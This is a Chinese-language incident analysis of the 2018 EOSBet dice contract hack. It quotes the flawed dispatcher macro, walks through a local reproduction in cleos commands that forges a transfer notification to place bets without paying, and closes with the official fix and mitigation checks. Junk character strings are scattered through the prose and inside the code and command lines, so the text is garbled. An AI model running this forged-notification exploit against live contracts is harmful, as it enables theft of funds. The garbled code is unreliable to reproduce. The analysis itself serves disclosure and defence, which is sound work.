文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis1 E. D& ?% B- W$ ~
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
2 d# _! y& k' [/ ]# V Y- @
0x01 技术分析( i* ?. F d/ s4 b
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI: H" X/ c" k0 x1 W7 k
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers: u$ V2 Q( d* e# Y: Q$ l5 |
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \* S5 I% o/ D! X; z# x( M S) X
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \2 K1 P+ v' [& X, y7 ~* m, E3 }: Z
auto self = receiver; \
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \9 j* o+ s1 V( O1 _ V4 L0 g
TYPE thiscontract( self ); \& ^' U# j. {3 L+ S( C8 ^% n
switch( action ) { \7 f0 A4 t; ~1 X' o9 Z
EOSIO_API( TYPE, MEMBERS ) \
} \, m0 R# i& @. A# ^! h
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \4 _. z6 h# G0 [/ H
} \
}" l/ c! k7 x! G* j
通过官方给出的EOSIO_ABI,问题主要出在以下代码0 q9 u( C6 Z2 h! x
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \8 j4 b @1 I- ~. P Z
TYPE thiscontract( self ); \( y! s& L% u0 v- ]3 K8 }2 g3 w6 u
switch( action ) { \3 i; S5 p+ a: g6 E% C. N
EOSIO_API( TYPE, MEMBERS ) \0 a$ t7 w" _6 P& d/ `* Y0 j
} \
}
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。# Z8 S5 x, w/ N' i6 q5 X+ Q; v
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0x02 攻击复盘
创建eosio.token账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化. F* y' g- k: B9 `5 ~% I
# 部署合约. A9 J+ F) o& ]! P4 d6 g
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio# }2 s( o8 F2 @( p
# 初始化合约; B3 \' j7 J' W2 _0 L, t7 e. Q
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token G& }8 J; r$ y, E1 m
创建游戏账户、开奖账户和攻击者账户7 I" h; R- |) i! h0 {
#创建游戏账户和开奖账户& F% F9 F% S% x
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk, ?6 w+ q" G: F8 C
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户) Q, x7 y& l+ j/ i* v
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk; r7 W8 y6 ?0 v. i0 E% b7 e& Y1 Y! R7 j6 M
设置账户随机权限和开奖权限2 _ S+ r' G3 M) ~) E% ^
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner d" r! N/ O/ T; k+ S& Z0 b
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random6 t+ B1 |' @4 Z
向相关账户冲入代币
#往相关账户充值* j' B8 S, \- q* Y' z4 u D4 Z
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active4 h/ A* _+ M1 A. e. |' e
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
![4.png](
![](https://appserversrc.8btc.cn/newthread/201903141228211.png)
部署游戏合约并初始化: ~. M; `! g5 l8 ^7 A/ h
#部署游戏合约& c* z. G0 e+ I8 ? a O3 [
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker5 n& a$ S' W/ [& ?; g
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets
; N* z8 s: B s
可见,游戏订单已经生成,查询attacker和eosbetdice11账户! x9 b/ `' w' D; L0 o
0 ? O6 \; e: p' b& }5 h; r) R2 b
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。( O( R4 |* ^3 U1 s
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
9 d- ^$ ]( @; o% f8 S
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。# C6 k+ [" f: `# B3 b
0x03 后记
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \- n2 r/ M1 s n7 t" y
auto self = receiver; \) S# p# c+ ]- b8 X8 j: f R6 b
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \: p3 i4 g J! M$ G0 k. _; i$ |& U8 Q- w
// 必须是eosio.token来调用合约自身的transfer函数7 x2 x& }5 Y. @. |1 `+ E! b
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \& n. i+ K# o5 Q# L$ o
} \( D3 `0 @5 R7 X, O9 M4 w) ?4 J T
TYPE thiscontract( self ); \+ k2 ?' g+ d) y! t5 w
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \" l- z+ J) L3 n+ ^
} \8 b: u: w$ Z$ ?$ N8 t+ e' l
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \, G8 A! t1 B9 V+ X, Q; a; a& k
} \
}
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D$ @: e2 T9 o7 _% ]' t& ~
0x04 修复方案
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:! K. s; Y0 _1 f- ?9 a8 h0 u
通知是否来自eosio.token,即只处理eosio.token发送的通知 E& S3 m& g% T
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");5 _+ \* o1 t2 m7 G1 l
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知" J& a2 N5 m( w3 g2 B" K {! k* `
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");